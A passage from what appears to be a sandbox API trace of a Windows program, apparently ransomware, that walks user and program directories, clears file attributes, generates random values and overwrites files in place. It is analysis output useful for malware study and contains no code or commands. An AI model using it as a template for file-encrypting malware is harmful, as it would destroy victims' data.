ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409da8 [0063.982] wcscmp (_String1=".", _String2=".") returned 0 [0063.982] FindNextFileW (in: hFindFile=0x409da8, lpFindFileData=0x45a168 | out: lpFindFileData=0x45a168*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.982] wcscmp (_String1="..", _String2=".") returned 1 [0063.982] wcscmp (_String1="..", _String2="..") returned 0 [0063.982] FindNextFileW (in: hFindFile=0x409da8, lpFindFileData=0x45a168 | out: lpFindFileData=0x45a168*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 1 [0063.982] wcscmp (_String1="6NG60CXZ.9GJ", _String2=".") returned 1 [0063.982] wcscmp (_String1="6NG60CXZ.9GJ", _String2="..") returned 1 [0063.982] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x443800 [0063.982] wcscpy (in: _Dest=0x443800, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7" [0063.982] wcscat (in: _Dest=0x443800, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\" [0063.982] wcscat (in: _Dest=0x443800, _Source="6NG60CXZ.9GJ" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ" [0066.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x443800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1028 [0066.091] FindNextFileW (in: hFindFile=0x409da8, lpFindFileData=0x45a168 | out: lpFindFileData=0x45a168*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 0 [0066.091] FindClose (in: hFindFile=0x409da8 | out: hFindFile=0x409da8) returned 1 [0066.092] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45a168) returned 1 [0066.092] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec4be8) returned 1 [0066.092] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4398b8) returned 1 Thread: id = 1099 os_tid = 0xc9c [0059.444] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa4) returned 0x443540 [0059.445] wcscpy (in: _Dest=0x443540, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates" [0059.445] wcscat (in: _Dest=0x443540, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\" [0059.445] wcscat (in: _Dest=0x443540, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\*" [0059.445] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459090 [0059.445] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\*", lpFindFileData=0x459090 | out: lpFindFileData=0x459090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409c68 [0059.445] wcscmp (_String1=".", _String2=".") returned 0 [0059.445] FindNextFileW (in: hFindFile=0x409c68, lpFindFileData=0x459090 | out: lpFindFileData=0x459090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.445] wcscmp (_String1="..", _String2=".") returned 1 [0059.445] wcscmp (_String1="..", _String2="..") returned 0 [0059.445] FindNextFileW (in: hFindFile=0x409c68, lpFindFileData=0x459090 | out: lpFindFileData=0x459090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSharp", cAlternateFileName="")) returned 1 [0059.445] wcscmp (_String1="CSharp", _String2=".") returned 1 [0059.445] wcscmp (_String1="CSharp", _String2="..") returned 1 [0059.445] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae) returned 0x45c1e0 [0059.445] wcscpy (in: _Dest=0x45c1e0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates" [0059.446] wcscat (in: _Dest=0x45c1e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\" [0059.446] wcscat (in: _Dest=0x45c1e0, _Source="CSharp" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp" [0066.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x45c1e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b4 [0066.995] FindNextFileW (in: hFindFile=0x409c68, lpFindFileData=0x459090 | out: lpFindFileData=0x459090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualBasic", cAlternateFileName="VISUAL~1")) returned 1 [0066.995] wcscmp (_String1="VisualBasic", _String2=".") returned 1 [0066.995] wcscmp (_String1="VisualBasic", _String2="..") returned 1 [0066.995] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb8) returned 0x5e027e0 [0066.995] wcscpy (in: _Dest=0x5e027e0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates" [0066.995] wcscat (in: _Dest=0x5e027e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\" [0066.995] wcscat (in: _Dest=0x5e027e0, _Source="VisualBasic" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic" [0066.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5e027e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0066.997] FindNextFileW (in: hFindFile=0x409c68, lpFindFileData=0x459090 | out: lpFindFileData=0x459090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualBasic", cAlternateFileName="VISUAL~1")) returned 0 [0066.997] FindClose (in: hFindFile=0x409c68 | out: hFindFile=0x409c68) returned 1 [0066.997] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x459090) returned 1 [0066.997] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x443540) returned 1 [0066.997] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43d888) returned 1 Thread: id = 1100 os_tid = 0xbf8 [0059.446] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45f9b8 [0059.446] wcscpy (in: _Dest=0x45f9b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java" [0059.446] wcscat (in: _Dest=0x45f9b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\" [0059.446] wcscat (in: _Dest=0x45f9b8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*" [0059.446] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45b978 [0059.446] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*", lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6320 [0061.840] wcscmp (_String1=".", _String2=".") returned 0 [0061.840] FindNextFileW (in: hFindFile=0x4a6320, lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.840] wcscmp (_String1="..", _String2=".") returned 1 [0061.840] wcscmp (_String1="..", _String2="..") returned 0 [0061.840] FindNextFileW (in: hFindFile=0x4a6320, lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AU", cAlternateFileName="")) returned 1 [0061.840] wcscmp (_String1="AU", _String2=".") returned 1 [0061.840] wcscmp (_String1="AU", _String2="..") returned 1 [0061.840] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400218 [0061.840] wcscpy (in: _Dest=0x400218, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java" [0061.840] wcscat (in: _Dest=0x400218, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\" [0061.840] wcscat (in: _Dest=0x400218, _Source="AU" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU" [0065.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x400218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8 [0065.813] FindNextFileW (in: hFindFile=0x4a6320, lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0065.814] wcscmp (_String1="Deployment", _String2=".") returned 1 [0065.814] wcscmp (_String1="Deployment", _String2="..") returned 1 [0065.814] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x12e2b6c8 [0065.814] wcscpy (in: _Dest=0x12e2b6c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java" [0065.814] wcscat (in: _Dest=0x12e2b6c8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\" [0065.814] wcscat (in: _Dest=0x12e2b6c8, _Source="Deployment" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment" [0065.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12e2b6c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x165c [0065.815] FindNextFileW (in: hFindFile=0x4a6320, lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 1 [0065.815] wcscmp (_String1="jre1.7.0_45", _String2=".") returned 1 [0065.815] wcscmp (_String1="jre1.7.0_45", _String2="..") returned 1 [0065.815] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2b758 [0065.815] wcscpy (in: _Dest=0x12e2b758, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java" [0065.815] wcscat (in: _Dest=0x12e2b758, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\" [0065.815] wcscat (in: _Dest=0x12e2b758, _Source="jre1.7.0_45" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45" [0065.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12e2b758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1660 [0065.816] FindNextFileW (in: hFindFile=0x4a6320, lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 0 [0065.816] FindClose (in: hFindFile=0x4a6320 | out: hFindFile=0x4a6320) returned 1 [0065.816] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45b978) returned 1 [0065.816] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45f9b8) returned 1 [0065.816] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a0d8) returned 1 Thread: id = 1101 os_tid = 0x408 [0059.447] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\classes.jsa" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\classes.jsa")) returned 0x21 [0059.447] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\classes.jsa", dwFileAttributes=0x20) Thread: id = 1102 os_tid = 0x1064 [0059.448] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\xusage.txt")) returned 0x20 [0061.841] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt", dwFileAttributes=0x20) returned 1 [0061.841] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\xusage.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x126c [0061.841] GetFileSizeEx (in: hFile=0x126c, lpFileSize=0x3e8fbf8 | out: lpFileSize=0x3e8fbf8*=1447) returned 1 [0061.841] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x5a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.841] ReadFile (in: hFile=0x126c, lpBuffer=0x3e8fb7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3e8fb78, lpOverlapped=0x0 | out: lpBuffer=0x3e8fb7c*, lpNumberOfBytesRead=0x3e8fb78*=0x4, lpOverlapped=0x0) returned 1 [0061.843] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.843] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429138 [0061.843] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429250 [0061.843] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429278 [0061.843] NtQuerySystemTime (in: CurrentTime=0x3e8fb58 | out: CurrentTime=0x3e8fb58*=132174898258308000) returned 0x0 [0061.843] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x7dfb3267 [0061.843] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0xb07bff5 [0061.843] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x4311e9ac [0061.843] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0xd617651 [0061.843] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x42957295 [0061.843] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x4a685402 [0061.843] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x17c066c3 [0061.843] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x21d3d049 [0061.843] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x346c0635 [0061.843] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x226d4450 [0061.843] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x7c461dab [0061.844] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x51566f22 [0061.844] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x45250938 [0061.844] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x12523c1c [0061.844] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x6639ff3b [0061.844] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x71210e84 [0061.844] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x778cbab3 [0061.844] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x379a3b8c [0061.844] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x78301801 [0061.844] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0xc75aa2d [0061.844] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x36d77557 [0061.844] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x4a9ad8da [0061.844] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x2900af8d [0061.844] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x5dd3b016 [0061.844] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x68b086a2 [0061.844] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x466ac81a [0061.844] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x3772b0ad [0061.844] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x66a152b9 [0061.844] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x348c4752 [0061.844] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x4d799746 [0061.844] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x35c7c60d [0061.844] RtlRandomEx (in: Seed=0x3e8fb64 | out: Seed=0x3e8fb64) returned 0x2d8c6a58 [0061.856] ReadFile (in: hFile=0x126c, lpBuffer=0x96fa100, nNumberOfBytesToRead=0x5a7, lpNumberOfBytesRead=0x3e8fb54, lpOverlapped=0x0 | out: lpBuffer=0x96fa100*, lpNumberOfBytesRead=0x3e8fb54*=0x5a7, lpOverlapped=0x0) returned 1 [0061.856] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.856] WriteFile (in: hFile=0x126c, lpBuffer=0x965a670*, nNumberOfBytesToWrite=0x5a7, lpNumberOfBytesWritten=0x3e8fb50, lpOverlapped=0x0 | out: lpBuffer=0x965a670*, lpNumberOfBytesWritten=0x3e8fb50*=0x5a7, lpOverlapped=0x0) returned 1 [0061.858] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429138 [0061.858] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429278 [0061.858] 